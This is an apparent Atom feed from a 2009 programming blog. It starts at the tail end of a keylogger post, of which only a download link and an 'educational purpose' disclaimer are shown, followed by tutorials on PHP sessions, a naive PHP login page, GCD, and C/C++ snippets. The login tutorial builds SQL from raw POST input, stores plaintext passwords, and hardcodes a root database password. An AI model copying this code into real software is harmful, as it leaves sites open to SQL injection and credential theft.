start up..&lt;a href="http://packetstormsecurity.org/Win/auto.txt"&gt;http://packetstormsecurity.org/Win/auto.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;N.B. This is for educational purpose. If anyone gets busted by using this code, I won't be responsible.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-4115437437927819949?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/4115437437927819949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/10/key-logger-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/4115437437927819949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/4115437437927819949'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/10/key-logger-in-c.html' title='key logger in C++'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-872283569077659261</id><published>2009-10-04T17:11:00.000+05:30</published><updated>2009-10-04T19:49:40.921+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='timeout in session'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>timeout in Session (PHP)</title><content type='html'>&lt;ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Sessions allow the PHP script to store data on the web server that can be later used, even between requests to different php pages. &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;When a session is created, a flat-file is created on the server. Since the session ID is a unique identifier, those session files will accumulate over time.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;The PHP garbage collector deletes old files from time to time. But the garbage collector is invoked with a certain probability, not every time the web server runs.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;The default timeout for session files is 1440 seconds or 24 minutes. So a session file can be deleted after that timeout, but it may reside on the server longer, depending on the amount of sessions created - here comes the probability into the game.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;The session may reside in server with a lifetime until the browser is closed, but the garbage collector might delete the session file much earlier. In this case, and if there is a session request after the session file has been deleted, a new session is created and the old session information is lost. This is annoying.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;There are 3 variables described in PHP.ini file, which deal with the garbage collector&lt;br /&gt;&lt;table border="2"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Variable&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;default value&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Changeable&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;session.gc_maxlifetime&lt;/td&gt;&lt;td&gt;1440 seconds&lt;/td&gt;&lt;td&gt;PHP_INI_ALL&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;session.gc_probability&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;PHP_INI_ALL&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;session.gc_divisor&lt;/td&gt;&lt;td&gt;100&lt;/td&gt;&lt;td&gt;PHP_INI_ALL&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;session.gc_probability along with session.gc_divisor is used to manage probability that the gc (garbage collection) routine is invoked. The probability is calculated by using gc_probability/gc_divisor.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;The garbage collection timeout can be changed. &lt;br /&gt;&lt;pre name="code" class="Php"&gt;&lt;br /&gt;$timeout = 7200; // 7200 seconds = 2 hour&lt;br /&gt;ini_set('session.gc_maxlifetime', $timeout);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;Session timeout can be reduced without changing the global variable programmatically .  &lt;br /&gt;&lt;pre name="code" class="Php"&gt;&lt;br /&gt;      session_start();&lt;br /&gt;      // set timeout period in seconds&lt;br /&gt;      $inactive = 600;&lt;br /&gt;      if(isset($_SESSION['timeout']) ) {&lt;br /&gt;         $session_life = time() - $_SESSION['timeout'];&lt;br /&gt;      if($session_life &gt; $inactive) { &lt;br /&gt;         session_destroy(); header("Location: logoutpage.php"); }&lt;br /&gt;      }&lt;br /&gt;      $_SESSION['timeout'] = time();&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-872283569077659261?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/872283569077659261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/10/session-php.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/872283569077659261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/872283569077659261'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/10/session-php.html' title='timeout in Session (PHP)'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-5297443946331458743</id><published>2009-10-02T21:53:00.000+05:30</published><updated>2009-10-03T02:16:20.713+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='login page in PHP'/><title type='text'>login page in PHP(naive)</title><content type='html'>This example shows how to design the login page of a web site in php for naive programmers. &lt;br /&gt;&lt;br /&gt;First create the database(I am using mysql)&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Sql"&gt;&lt;br /&gt;CREATE TABLE login (&lt;br /&gt;user_id INT AUTO_INCREMENT NOT NULL,&lt;br /&gt;user_name VARCHAR(25) UNIQUE NOT NULL,&lt;br /&gt;password VARCHAR(16) NOT NULL,&lt;br /&gt;PRIMARY KEY(user_id)&lt;br /&gt;);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now, let's insert some data.&lt;br /&gt;&lt;pre name="code" class="Sql"&gt;&lt;br /&gt; INSERT INTO login&lt;br /&gt; (user_name, password)&lt;br /&gt; VALUES&lt;br /&gt; ('asit', 'lipu');&lt;br /&gt;&lt;br /&gt; INSERT INTO login&lt;br /&gt; (user_name, password)&lt;br /&gt; VALUES&lt;br /&gt; ('google', 'yahoo');&lt;br /&gt; &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now this is the html page that displays the login page.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;span style="font-weight:bold;"&gt;login.html&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;textarea name="code" class="Xml"&gt;&lt;br /&gt;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&gt;&lt;br /&gt;&lt;title&gt;Login&lt;/title&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;form action="login.php" method="post"&gt;&lt;br /&gt;	&lt;table align="center" width="50%"&gt;&lt;br /&gt;		&lt;tr&gt;&lt;br /&gt;			&lt;td&gt;Username :&lt;/td&gt;&lt;br /&gt;			&lt;td&gt;&lt;input type='text' name='username'  maxlength="25"/&gt;&lt;/td&gt;&lt;br /&gt;		&lt;/tr&gt;&lt;br /&gt;		&lt;tr&gt;&lt;br /&gt;			&lt;td&gt;Password&lt;/td&gt;&lt;br /&gt;			&lt;td&gt;&lt;input type='password' name='password' maxlength="16"/&gt; &lt;/td&gt;&lt;br /&gt;		&lt;/tr&gt;&lt;br /&gt;		&lt;tr&gt;&lt;br /&gt;			&lt;td&gt;&lt;input type="submit" name="submit" value="log in"/&gt;&lt;/td&gt;&lt;br /&gt;			&lt;td&gt;&lt;input type="reset" name="reset" value="clear"/&gt;&lt;/td&gt;&lt;br /&gt;		&lt;/tr&gt;&lt;br /&gt;	&lt;/table&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;Now let's make the php code that makes the necessary database connection..&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;span style="font-weight:bold;"&gt;database.php&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;pre name="code" class="Php"&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;	$hostname = "localhost";&lt;br /&gt;	$username = "root";&lt;br /&gt;	$password = "iitiit";&lt;br /&gt;	$database = "db2";&lt;br /&gt;	$link = mysql_connect($hostname, $user, $password)or die("Mysql con't be connected");&lt;br /&gt;	mysql_select_db($database, $link) or die("Database can't be connected");&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;As the user enters the username and password, the requested information is sent to the server and the login.php script will be invoked.&lt;br /&gt;Here is the code&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;span style="font-weight:bold;"&gt;login.php&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;textarea name="code" class="php"&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;	include("database.php");&lt;br /&gt;		$user = trim($_POST['username']);&lt;br /&gt;	$pw = trim($_POST['password']);&lt;br /&gt;	$sql = "SELECT user_id FROM login WHERE user_name='$user' AND password='$pw'";&lt;br /&gt;	$result = mysql_query($sql);&lt;br /&gt;	&lt;br /&gt;	if (mysql_num_rows($result)&gt;0){&lt;br /&gt;		$row = mysql_fetch_row($result);&lt;br /&gt;		session_start();&lt;br /&gt;		$_SESSION['user_id']=$row[0];&lt;br /&gt;		header("Location: welcome.php");&lt;br /&gt;	}else{&lt;br /&gt;		header("Location: error.html");&lt;br /&gt;	}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;If the user successfully logs in, then the page is redirected to welcome.php, otherwise to error.html&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;span style="font-weight:bold;"&gt;welcome.php&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;textarea name="code" class="Php"&gt;&lt;br /&gt;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&gt;&lt;br /&gt;&lt;title&gt;Welcome&lt;/title&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;	&lt;?php session_start(); ?&gt;&lt;br /&gt;	&lt;h1&gt;Welcome &lt;/h1&gt;&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;	&lt;h2&gt;Your user id is : &lt;?php echo $_SESSION['user_id']; ?&gt;&lt;h2&gt;&lt;br /&gt;	&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;span style="font-weight:bold;"&gt;error.html&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;textarea name="code" class="Php"&gt;&lt;br /&gt;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&gt;&lt;br /&gt;&lt;title&gt;Welcome&lt;/title&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;	&lt;?php session_start(); ?&gt;&lt;br /&gt;	&lt;h1&gt;Welcome &lt;/h1&gt;&lt;br /&gt;	&lt;br /&gt;&lt;br /&gt;	&lt;h2&gt;Your user id is : &lt;?php echo $_SESSION['user_id']; ?&gt;&lt;h2&gt;&lt;br /&gt;	&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;Few unknown facts &lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;No website in this world uses this technique as the login information is not encrypted.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-5297443946331458743?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/5297443946331458743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/10/php-login-examplenaive-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/5297443946331458743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/5297443946331458743'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/10/php-login-examplenaive-1.html' title='login page in PHP(naive)'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-2483132051328504631</id><published>2009-10-01T13:42:00.000+05:30</published><updated>2009-10-01T14:04:35.096+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Euclidean Algorithm'/><category scheme='http://www.blogger.com/atom/ns#' term='GCD'/><title type='text'>Euclidean Algorithm(GCD)</title><content type='html'>Greatest Common Divisor can easily be calculated easily using Euclidean Algorithm.&lt;br /&gt;&lt;br /&gt;This is the non recursive pseudo code&lt;br /&gt;&lt;table width="70%"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;pre name="code"&gt;&lt;br /&gt;   function gcd(a, b)&lt;br /&gt;      while b ≠ 0&lt;br /&gt;         t := b&lt;br /&gt;         b := a mod b&lt;br /&gt;         a := t&lt;br /&gt;      return a&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;pre name="code" class="cpp"&gt;&lt;br /&gt;int gcd(int a, int b)&lt;br /&gt;{&lt;br /&gt;    if (a == 0)&lt;br /&gt;       return b;&lt;br /&gt;    while (b != 0)&lt;br /&gt;        if (a &gt; b)&lt;br /&gt;           a = a - b;&lt;br /&gt;        else&lt;br /&gt;           b = b - a;&lt;br /&gt;    return a;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;This is the recursive pseudo code&lt;br /&gt;&lt;table width="70%"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;pre code="core"&gt;&lt;br /&gt;function gcd(a, b)&lt;br /&gt; if b = 0&lt;br /&gt;    return a&lt;br /&gt; else&lt;br /&gt;    return gcd(b, a mod b)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;pre name="code" class="cpp"&gt;&lt;br /&gt;int gcd(int a, int b)&lt;br /&gt;{&lt;br /&gt;    if (b==0)&lt;br /&gt;       return a;&lt;br /&gt;    else&lt;br /&gt;       return gcd(b, a%b);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-2483132051328504631?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/2483132051328504631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/10/euclidean-algorithm-for-gcd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/2483132051328504631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/2483132051328504631'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/10/euclidean-algorithm-for-gcd.html' title='Euclidean Algorithm(GCD)'/><author><name>kode yard</name><uri>http://www.blogger.com/profile/01704578542154317857</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-9016375935861153012</id><published>2009-10-01T02:29:00.000+05:30</published><updated>2009-10-01T02:32:01.879+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='ip address'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>get IP address in C(windows)</title><content type='html'>I have written this code snippet in my 2nd year which finds the ip address of windows machine. This is a simple code. Just go throw this...&lt;br /&gt;&lt;br /&gt;&lt;textarea name="code" class="cpp"&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;WinSock.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#pragma comment (lib, "wsock32.lib")&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; WORD wVersionRequested;&lt;br /&gt; WSADATA wsaData;&lt;br /&gt; char caHostname[255+1];&lt;br /&gt; PHOSTENT hostData;&lt;br /&gt; char *pIP;&lt;br /&gt; int i=0;&lt;br /&gt;&lt;br /&gt; wVersionRequested=MAKEWORD(1,1);&lt;br /&gt; if(WSAStartup(wVersionRequested, &amp;wsaData)!=0)&lt;br /&gt; {&lt;br /&gt;  printf("Error......code is not compartible with platform\n");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt; if(gethostname(caHostname, sizeof caHostname)!=0)&lt;br /&gt;  printf("Error......Hostname not found\n");&lt;br /&gt; printf("HOSTNAME : %s\n",caHostname);&lt;br /&gt; if((hostData=gethostbyname(caHostname))==NULL)&lt;br /&gt; {&lt;br /&gt;  printf("Error......code is not compartible with platform\n");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt; }&lt;br /&gt; while(hostData-&gt;h_addr_list[i])&lt;br /&gt; {&lt;br /&gt;  pIP = inet_ntoa(*(struct in_addr *)hostData-&gt;h_addr_list[i]);&lt;br /&gt;&lt;br /&gt;  printf("IP ADDRESS %d: %s\n", ++i, pIP);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/textarea&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-9016375935861153012?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/9016375935861153012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/09/get-ip-address-in-cwindows.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/9016375935861153012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/9016375935861153012'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/09/get-ip-address-in-cwindows.html' title='get IP address in C(windows)'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-155065774078502593</id><published>2009-10-01T00:14:00.000+05:30</published><updated>2009-10-01T01:29:41.804+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='explicit'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>explicit keyword in C++</title><content type='html'>Look at the following code.&lt;br /&gt;&lt;br /&gt;&lt;textarea name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;class ABC &lt;br /&gt;{&lt;br /&gt;private:&lt;br /&gt;        int m;&lt;br /&gt;public:&lt;br /&gt;       ABC(int x=0)&lt;br /&gt;       {&lt;br /&gt;                m=x;&lt;br /&gt;       }&lt;br /&gt;       &lt;br /&gt;       void display() const&lt;br /&gt;       {&lt;br /&gt;           cout&lt;&lt;m&lt;&lt;endl;&lt;br /&gt;       }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    ABC a = 100;  &lt;br /&gt;    a.display();  &lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;      &lt;br /&gt; &lt;br /&gt;Here  ABC a=100 is equivalent to ABC a(100);&lt;br /&gt;This is known as an implicit conversion. This reduces the readability of the code. This can be avoided by using the keyword explicit.&lt;br /&gt;&lt;br /&gt;By prefixing the constructor with the explicit keyword, we can prevent the compiler from using that constructor for implicit conversions.&lt;br /&gt;&lt;br /&gt;Look at the following code.&lt;br /&gt;&lt;textarea name="code" class="Cpp"&gt;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;class ABC &lt;br /&gt;{&lt;br /&gt;private:&lt;br /&gt;        int m;&lt;br /&gt;public:&lt;br /&gt;       explicit ABC(int x=0)&lt;br /&gt;       {&lt;br /&gt;                m=x;&lt;br /&gt;       }&lt;br /&gt;       void display() const&lt;br /&gt;       {&lt;br /&gt;           cout&lt;&lt;m&lt;&lt;endl;&lt;br /&gt;       }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    //ABC a = 100;  will show error&lt;br /&gt;    ABC a(100);&lt;br /&gt;    a.display();  &lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/textarea&gt;             &lt;br /&gt;        &lt;br /&gt;In this case ABC a=100 will be an error. We can only call this by using the constructor notation.&lt;br /&gt;&lt;br /&gt;Some more information about explicit...&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;The explicit keyword is used to declare a single-argument constructor that can only be called explicitly. If the constructor takes multiple argument, it's use is useless.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;It is only used in declarations of constructors within a class declaration.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-155065774078502593?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/155065774078502593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/09/explicit-keyword-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/155065774078502593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/155065774078502593'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/09/explicit-keyword-in-c.html' title='explicit keyword in C++'/><author><name>kode yard</name><uri>http://www.blogger.com/profile/01704578542154317857</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
